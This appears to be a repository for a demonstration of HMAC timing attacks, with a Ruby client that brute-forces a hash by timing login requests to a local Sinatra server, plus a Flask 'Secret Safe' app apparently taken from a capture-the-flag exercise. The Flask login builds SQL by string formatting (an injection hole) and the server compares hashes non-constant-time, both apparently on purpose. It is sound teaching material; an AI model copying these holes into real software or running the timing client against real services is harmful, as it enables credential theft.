├── .gitignore ├── README.md ├── clientapp └── rbclient │ ├── Gemfile │ ├── Gemfile.lock │ ├── client.rb │ └── distribution.rb └── webapp ├── python ├── README ├── data │ ├── entropy.dat │ ├── secrets.json │ └── users.db ├── generate_data.py ├── index.html └── secretvault.py └── ruby ├── Gemfile ├── Gemfile.lock ├── db.log ├── ee300.db ├── index.html ├── server.rb ├── stringcomp.rb └── views ├── home.erb └── login.erb /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | .bundle 4 | .config 5 | coverage 6 | InstalledFiles 7 | lib/bundler/man 8 | pkg 9 | rdoc 10 | spec/reports 11 | test/tmp 12 | test/version_tmp 13 | tmp 14 | 15 | # YARD artifacts 16 | .yardoc 17 | _yardoc 18 | doc/ 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | hmac-timing-attacks 2 | =================== 3 | 4 | HMAC timing attack's w/ statistical analysis 5 | 6 | http://eggie5.com/45-hmac-timing-attacks 7 | -------------------------------------------------------------------------------- /clientapp/rbclient/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | gem 'hitimes' 3 | -------------------------------------------------------------------------------- /clientapp/rbclient/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | hitimes (1.1.1) 5 | 6 | PLATFORMS 7 | ruby 8 | 9 | DEPENDENCIES 10 | hitimes 11 | -------------------------------------------------------------------------------- /clientapp/rbclient/client.rb: -------------------------------------------------------------------------------- 1 | # this is a client that will try to login to the webapp. 2 | # the roundtrip time for the request and password attempted will be logged for analysis 3 | # it will brute force password 4 | require 'net/http' 5 | require 'hitimes' 6 | require './distribution' 7 | 8 | class Client 9 | attr_accessor :url 10 | def initialize(url) 11 | self.url=URI(url) 12 | end 13 | def login(password) 14 | res = Net::HTTP.post_form(url, 'username' => 'eggie5', 15 | 'hash_challenge' => password) 16 | end 17 | end 18 | 19 | 20 | def time 21 | now = Time.now.to_f 22 | yield 23 | endd = Time.now.to_f 24 | endd - now 25 | end 26 | 27 | 28 | client=Client.new("http://127.0.0.1:4567/timing_attack") 29 | 30 | dataset={} 31 | number_of_times=200 32 | trials=[] 33 | dist=Distribution.new 34 | 35 | 36 | hmac = "f500000000000000000000000000000000000000" 37 | 38 | (2..2).each do |i| 39 | 40 | number_of_times.times do |k| # try each byte 25 times to find slowest one statisticly 41 | (0..15).each {|i|dataset["%1x" % i]=[]} #reset 42 | (0..15).each do |j| 43 | hmac[i] = byte = "%1x" % j 44 | resp="" 45 | duration = Hitimes::Interval.measure do 46 | resp=client.login(hmac).body 47 | end 48 | 49 | dataset[byte].push duration 50 | #p "#{hmac} - #{resp} - #{duration}" 51 | end 52 | 53 | #calc rank here and populate distribution table 54 | _sorted=dataset.sort_by{|k,v| v }.reverse! #sorted slowest first 55 | _sorted.each_with_index do |k, i| 56 | dist[k[0]].push i 57 | end 58 | 59 | end 60 | end 61 | 62 | 63 | p dist.sorted_avg 64 | # dist.each do |k,v| 65 | # puts "#{k} - #{v.sort} - mean=#{v.mean}" 66 | # end 67 | # dd=dataset.sort_by{|k,v| v.median } 68 | # 69 | # dd.reverse.each do |k, ds| 70 | # p "#{k} median = #{ ds.median }, deviation=#{ds.deviation}" 71 | # end 72 | 73 | #curl -v -d "username=eggie5&hash_challenge=0300000000000000000000000000000000000000" http://localhost:4567/timing_attack 74 | #f5acdffbf0bb39b2cdf59ccc19625015b33f55fe -------------------------------------------------------------------------------- /clientapp/rbclient/distribution.rb: -------------------------------------------------------------------------------- 1 | class Distribution < Hash 2 | def [](k) 3 | unless self.key?(k) 4 | self[k]=[] 5 | end 6 | self.fetch(k) 7 | end 8 | 9 | def sorted_avg 10 | h={} 11 | self.each do |k,v| 12 | h[k]=v.mean 13 | end 14 | 15 | h.sort_by{|k,v| v } 16 | end 17 | end 18 | 19 | class Numeric 20 | def square ; self * self ; end 21 | end 22 | 23 | class Array 24 | def sum ; self.inject(0){|a,x|x+a} ; end 25 | def mean ; self.sum.to_f/self.size ; end 26 | def median 27 | case self.size % 2 28 | when 0 then self.sort[self.size/2-1,2].mean 29 | when 1 then self.sort[self.size/2].to_f 30 | end if self.size > 0 31 | end 32 | def histogram ; self.sort.inject({}){|a,x|a[x]=a[x].to_i+1;a} ; end 33 | def mode 34 | map = self.histogram 35 | max = map.values.max 36 | map.keys.select{|x|map[x]==max} 37 | end 38 | def squares ; self.inject(0){|a,x|x.square+a} ; end 39 | def variance ; self.squares.to_f/self.size - self.mean.square; end 40 | def deviation ; Math::sqrt( self.variance ) ; end 41 | def permute ; self.dup.permute! ; end 42 | def permute! 43 | (1...self.size).each do |i| ; j=rand(i+1) 44 | self[i],self[j] = self[j],self[i] if i!=j 45 | end;self 46 | end 47 | def sample n=1 ; (0...n).collect{ self[rand(self.size)] } ; end 48 | end 49 | 50 | #d=Distribution.new 51 | # 52 | # d['a'].push 1 53 | # d['a'].push 3 54 | # d['3'].push 4 55 | # 56 | # p d['a'] 57 | # p d['3'] 58 | # 59 | # p d.sorted_avg -------------------------------------------------------------------------------- /webapp/python/README: -------------------------------------------------------------------------------- 1 | # Run 2 | 3 | - Run 'pip install flask flup' 4 | - Run 'python secretvault.py'. This will automatically generate test data for you. 5 | - Visit 'localhost:5000' in your web browser 6 | -------------------------------------------------------------------------------- /webapp/python/data/entropy.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eggie5/hmac-timing-attacks/661e73c3c9d88cb911d9221f9ef349acdd68725b/webapp/python/data/entropy.dat -------------------------------------------------------------------------------- /webapp/python/data/secrets.json: -------------------------------------------------------------------------------- 1 | { 2 | "1": "dummy-password", 3 | "2": "dummy-proof", 4 | "3": "dummy-plans" 5 | } 6 | -------------------------------------------------------------------------------- /webapp/python/data/users.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eggie5/hmac-timing-attacks/661e73c3c9d88cb911d9221f9ef349acdd68725b/webapp/python/data/users.db -------------------------------------------------------------------------------- /webapp/python/generate_data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import hashlib 3 | import json 4 | import os 5 | import random 6 | import sqlite3 7 | import string 8 | import sys 9 | 10 | def random_string(length=7): 11 | return ''.join(random.choice(string.ascii_lowercase) for x in range(length)) 12 | 13 | def main(basedir, level03, proof, plans): 14 | print 'Generating users.db' 15 | conn = sqlite3.connect(os.path.join(basedir, 'users.db')) 16 | cursor = conn.cursor() 17 | 18 | cursor.execute("DROP TABLE IF EXISTS users") 19 | cursor.execute(""" 20 | CREATE TABLE users ( 21 | id INTEGER PRIMARY KEY AUTOINCREMENT, 22 | username VARCHAR(255), 23 | password_hash VARCHAR(255), 24 | salt VARCHAR(255) 25 | );""") 26 | 27 | id = 1 28 | dict = {} 29 | 30 | list = [('bob', level03), ('eve', proof), ('mallory', plans)] 31 | random.shuffle(list) 32 | for username, secret in list: 33 | password = random_string() 34 | salt = random_string() 35 | password_hash = hashlib.sha256(password + salt).hexdigest() 36 | print '- Adding {0}'.format(username) 37 | cursor.execute("INSERT INTO users (username, password_hash, salt) VALUES (?, ?, ?)", (username, password_hash, salt)) 38 | 39 | dict[id] = secret 40 | id += 1 41 | 42 | conn.commit() 43 | 44 | print 'Generating secrets.json' 45 | f = open(os.path.join(basedir, 'secrets.json'), 'w') 46 | json.dump(dict, 47 | f, 48 | indent=2) 49 | f.write('\n') 50 | 51 | print 'Generating entropy.dat' 52 | f = open(os.path.join(basedir, 'entropy.dat'), 'w') 53 | f.write(os.urandom(24)) 54 | 55 | if __name__ == '__main__': 56 | if not len(sys.argv) == 5: 57 | print 'Usage: %s ' % sys.argv[0] 58 | sys.exit(1) 59 | main(*sys.argv[1:]) 60 | -------------------------------------------------------------------------------- /webapp/python/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | Welcome to the Secret Safe, a place to guard your most 5 | precious secrets! To retrieve your secrets, log in below. 6 |

7 | 8 |

The current users of the system store the following secrets:

9 | 10 |
    11 |
  • bob: Stores the password to access level 03
  • 12 |
  • eve: Stores the proof that P = NP
  • 13 |
  • mallory: Stores the plans to a perpetual motion machine
  • 14 |
15 | 16 |

17 | You should use it too! 18 | Contact us 19 | to request a beta invite. 20 |

21 | 22 |
23 |

24 | 25 | 26 |

27 |

28 | 29 | 30 |

31 | 32 |
33 | 34 | 35 | -------------------------------------------------------------------------------- /webapp/python/secretvault.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Welcome to the Secret Safe! 4 | # 5 | # - users/users.db stores authentication info with the schema: 6 | # 7 | # CREATE TABLE users ( 8 | # id VARCHAR(255) PRIMARY KEY AUTOINCREMENT, 9 | # username VARCHAR(255), 10 | # password_hash VARCHAR(255), 11 | # salt VARCHAR(255) 12 | # ); 13 | # 14 | # - For extra security, the dictionary of secrets lives 15 | # data/secrets.json (so a compromise of the database won't 16 | # compromise the secrets themselves) 17 | # 18 | 19 | import flask 20 | import hashlib 21 | import json 22 | import logging 23 | import os 24 | import sqlite3 25 | import subprocess 26 | import sys 27 | from werkzeug import debug 28 | 29 | # Generate test data when running locally 30 | data_dir = os.path.join(os.path.dirname(__file__), 'data') 31 | if not os.path.exists(data_dir): 32 | import generate_data 33 | os.mkdir(data_dir) 34 | generate_data.main(data_dir, 'dummy-password', 'dummy-proof', 'dummy-plans') 35 | 36 | secrets = json.load(open(os.path.join(data_dir, 'secrets.json'))) 37 | index_html = open('index.html').read() 38 | app = flask.Flask(__name__) 39 | 40 | # Turn on backtraces, but turn off code execution (that'd be an easy level!) 41 | app.config['PROPAGATE_EXCEPTIONS'] = True 42 | app.wsgi_app = debug.DebuggedApplication(app.wsgi_app, evalex=False) 43 | 44 | app.logger.addHandler(logging.StreamHandler(sys.stderr)) 45 | # use persistent entropy file for secret_key 46 | app.secret_key = open(os.path.join(data_dir, 'entropy.dat')).read() 47 | 48 | # Allow setting url_root if needed 49 | try: 50 | from local_settings import url_root 51 | except ImportError: 52 | pass 53 | 54 | def absolute_url(path): 55 | return "/" + path 56 | 57 | @app.route('/') 58 | def index(): 59 | #flask.session["email"]="eggie5@gmail.com" 60 | # flask.session['user_id']=1; 61 | #flask.session['address']="3651 arizonas tsa 92104" 62 | try: 63 | user_id = flask.session['user_id']#Return the item of d with key key. Raises a KeyError if key is not in the map. 64 | except KeyError: 65 | return index_html 66 | else: 67 | secret = secrets[str(user_id)] 68 | return (u'Welcome back! Your secret is: "{0}"'.format(secret) + 69 | u' (Log out)\n') 70 | 71 | @app.route('/logout') 72 | def logout(): 73 | flask.session.pop('user_id', None) 74 | return flask.redirect(absolute_url('/')) 75 | 76 | @app.route('/login', methods=['POST']) 77 | def login(): 78 | username = flask.request.form.get('username') 79 | password = flask.request.form.get('password') 80 | 81 | if not username: 82 | return "Must provide username\n" 83 | 84 | if not password: 85 | return "Must provide password\n" 86 | 87 | conn = sqlite3.connect(os.path.join(data_dir, 'users.db')) 88 | cursor = conn.cursor() 89 | 90 | query = """SELECT id, password_hash, salt FROM users 91 | WHERE username = '{0}' LIMIT 1""".format(username) 92 | 93 | cursor.execute(query) 94 | 95 | res = cursor.fetchone() 96 | if not res: 97 | return "There's no such user {0}!\n".format(username) 98 | user_id, password_hash, salt = res 99 | 100 | 101 | 102 | calculated_hash = hashlib.sha256(password + salt) 103 | if calculated_hash.hexdigest() != password_hash: 104 | return "That's not the password for {0}!\n".format(username) 105 | 106 | flask.session['user_id'] = user_id 107 | return flask.redirect(absolute_url('/')) 108 | 109 | if __name__ == '__main__': 110 | # In development: app.run(debug=True) 111 | app.run() 112 | -------------------------------------------------------------------------------- /webapp/ruby/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | gem 'sinatra' 3 | gem 'sequel' 4 | gem 'sqlite3' 5 | -------------------------------------------------------------------------------- /webapp/ruby/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | rack (1.4.1) 5 | rack-protection (1.2.0) 6 | rack 7 | sequel (3.39.0) 8 | sinatra (1.3.3) 9 | rack (~> 1.3, >= 1.3.6) 10 | rack-protection (~> 1.2) 11 | tilt (~> 1.3, >= 1.3.3) 12 | sqlite3 (1.3.6) 13 | tilt (1.3.3) 14 | 15 | PLATFORMS 16 | ruby 17 | 18 | DEPENDENCIES 19 | sequel 20 | sinatra 21 | sqlite3 22 | -------------------------------------------------------------------------------- /webapp/ruby/ee300.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eggie5/hmac-timing-attacks/661e73c3c9d88cb911d9221f9ef349acdd68725b/webapp/ruby/ee300.db -------------------------------------------------------------------------------- /webapp/ruby/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

4 | Welcome to the Secret Safe, a place to guard your most 5 | precious secrets! To retrieve your secrets, log in below. 6 |

7 | 8 |

The current users of the system store the following secrets:

9 | 10 |
    11 |
  • bob: Stores the password to access level 03
  • 12 |
  • eve: Stores the proof that P = NP
  • 13 |
  • mallory: Stores the plans to a perpetual motion machine
  • 14 |
15 | 16 |

17 | You should use it too! 18 | Contact us 19 | to request a beta invite. 20 |

21 | 22 |
23 |

24 | 25 | 26 |

27 |

28 | 29 | 30 |

31 | 32 |
33 | 34 | 35 | -------------------------------------------------------------------------------- /webapp/ruby/server.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'bundler/setup' 3 | 4 | require 'sequel' 5 | require 'sinatra' 6 | require 'logger' 7 | require 'openssl' 8 | 9 | module EE300 10 | module DB 11 | def self.db_file 12 | 'ee300.db' 13 | end 14 | 15 | def self.conn 16 | @conn ||= Sequel.sqlite(db_file, :logger => Logger.new('db.log')) 17 | end 18 | 19 | def self.init 20 | return if File.exists?(db_file) 21 | File.umask(0066) 22 | 23 | conn.create_table(:users) do 24 | primary_key :id 25 | String :username 26 | String :password_hash 27 | String :salt 28 | end 29 | hash=OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "Stringy5", "mysalt") 30 | p "hash is #{hash}" 31 | p conn[:users].insert( 32 | :username => "eggie5", 33 | :password_hash => hash, 34 | :salt => "mysalt" 35 | ) 36 | end 37 | end 38 | 39 | class EE300Server < Sinatra::Base 40 | set :environment, :production 41 | enable :sessions 42 | 43 | 44 | def die(msg, view) 45 | @error = msg 46 | halt(erb(view)) 47 | end 48 | 49 | before do 50 | refresh_state 51 | end 52 | 53 | def refresh_state 54 | @user = logged_in_user 55 | end 56 | 57 | 58 | def logged_in_user 59 | return unless username = session[:user] 60 | DB.conn[:users][:username => username] 61 | end 62 | 63 | 64 | def strings_are_equal?(str1, str2) 65 | _s1=str1.scan(/./) 66 | _s2=str2.scan(/./) 67 | # not valid if lengths are different 68 | return false unless (_s1.length == _s2.length) 69 | 70 | # check each character 71 | _s1.each_index do |i| 72 | unless (str1[i] == str2[i]) 73 | #puts "short circuiting @ #{i}- #{str1}!=#{str2}" 74 | return false 75 | else 76 | # sleep(1/10000.0) #fake work 77 | end 78 | puts "matched at index #{i}" 79 | end 80 | 81 | # yay 82 | true 83 | end 84 | 85 | post '/timing_attack' do 86 | username = params[:username] 87 | p hash_challenge = params[:hash_challenge] 88 | p user_hash = DB.conn[:users][:username => username][:password_hash] 89 | 90 | if(strings_are_equal?(hash_challenge, user_hash)) 91 | "YES" 92 | else 93 | "NO" 94 | end 95 | 96 | end 97 | 98 | get '/' do 99 | if @user 100 | erb :home 101 | else 102 | erb :login 103 | end 104 | end 105 | 106 | get '/login' do 107 | redirect '/' 108 | end 109 | 110 | post '/login' do 111 | username = params[:username] 112 | password = params[:password] 113 | user = DB.conn[:users][:username => username, :password => password] 114 | unless user 115 | die('Could not authenticate. Perhaps you meant to register a new' \ 116 | ' account? (See link below.)', :login) 117 | end 118 | 119 | session[:user] = user[:username] 120 | redirect '/' 121 | end 122 | end 123 | end 124 | 125 | 126 | def main 127 | EE300::DB.init 128 | EE300::EE300Server.run! 129 | end 130 | 131 | if $0 == __FILE__ 132 | main 133 | exit(0) 134 | end 135 | -------------------------------------------------------------------------------- /webapp/ruby/stringcomp.rb: -------------------------------------------------------------------------------- 1 | require 'test/unit' 2 | 3 | def strings_are_equal?(str1, str2) 4 | _s1=str1.scan(/./) 5 | _s2=str2.scan(/./) 6 | # not valid if lengths are different 7 | return false unless (_s1.length == _s2.length) 8 | 9 | # check each character 10 | _s1.each_index do |i| 11 | unless (str1[i] == str2[i]) 12 | puts "short circuiting @ #{i}- #{str1}!=#{str2}" 13 | return false 14 | end 15 | puts "matched at index #{i}" 16 | end 17 | 18 | # yay 19 | true 20 | end 21 | 22 | 23 | class TestStringsAreEqual < Test::Unit::TestCase 24 | 25 | def test_strings_are_equal 26 | assert(strings_are_equal?("aaaa", "aaaa")) 27 | end 28 | 29 | end 30 | 31 | 32 | -------------------------------------------------------------------------------- /webapp/ruby/views/home.erb: -------------------------------------------------------------------------------- 1 |

Welcome to Karma Trader!

2 | 3 |

Home

4 |

You are logged in as <%= @user[:username] %>.

5 | 6 |

Log out

7 | -------------------------------------------------------------------------------- /webapp/ruby/views/login.erb: -------------------------------------------------------------------------------- 1 |

2 | EE300 3 |

4 | 5 |

Login

6 | 7 |
8 |

Username:

9 |

Password:

10 |

11 |
12 | 13 |

14 | Don't have an account? 15 | Register now! 16 |

17 | --------------------------------------------------------------------------------